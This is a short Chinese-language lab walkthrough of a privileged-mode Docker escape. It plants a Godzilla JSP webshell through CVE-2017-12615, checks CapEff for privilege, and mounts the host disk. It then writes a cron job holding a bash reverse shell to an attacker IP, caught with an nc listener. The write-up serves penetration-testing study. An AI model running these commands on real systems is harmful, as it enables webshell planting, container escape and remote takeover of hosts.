特权模式docker逃逸

目录

1.环境

2.上线哥斯拉

3.特权模式逃逸

1.判断是否为docker环境

2.判断是否为特权模式

3.挂载宿主机磁盘到docker

 4.计划任务反弹shell

---

1.环境

ubuntu部署一个存在CVE-2017-12615的docker:   (ip:192.168.117.147)    

kali(ip:192.168.117.128)

哥斯拉

2.上线哥斯拉

这里用PUT上传哥斯拉生成的jsp马直接上线：

3.特权模式逃逸

1.判断是否为docker环境

ls -alh /.dockerenv    //如果存在即为docker环境

2.判断是否为特权模式

cat /proc/self/status | grep CapEff	//cat /proc/self/status​ 用于查看当前进程的状态信息。
//grep CapEff​ 用于从输出结果中过滤出 CapEff 相关的行
//capability ​是一种权限机制，利用 CapEff 我们可以了解当前进程实际拥有的权限和能力。

 如果是这两种情况之一，即可判断为当前docker为特权模式启动 ：

0000003fffffffff
0000001fffffffff

3.挂载宿主机磁盘到docker

fdisk -l                 //列出所有磁盘，找到宿主机的磁盘
mkdir ceshi              //创建一个目录用于挂载磁盘
mount /dev/sda1  ceshi   //将宿主机的磁盘挂载到ceshi目录下，即可操作宿主机磁盘上的内容了

 4.计划任务反弹shell

当前docker没有vi,vim,nano等,这里用echo写入：

touch test.sh                
echo 'bash -i >& /dev/tcp/192.168.117.128/4444 0>&1' >test.sh    
echo '* * * * * root bash test.sh' >> /etc/crontab    

然后kali这边监听就可以了：

nc -lvvp 4444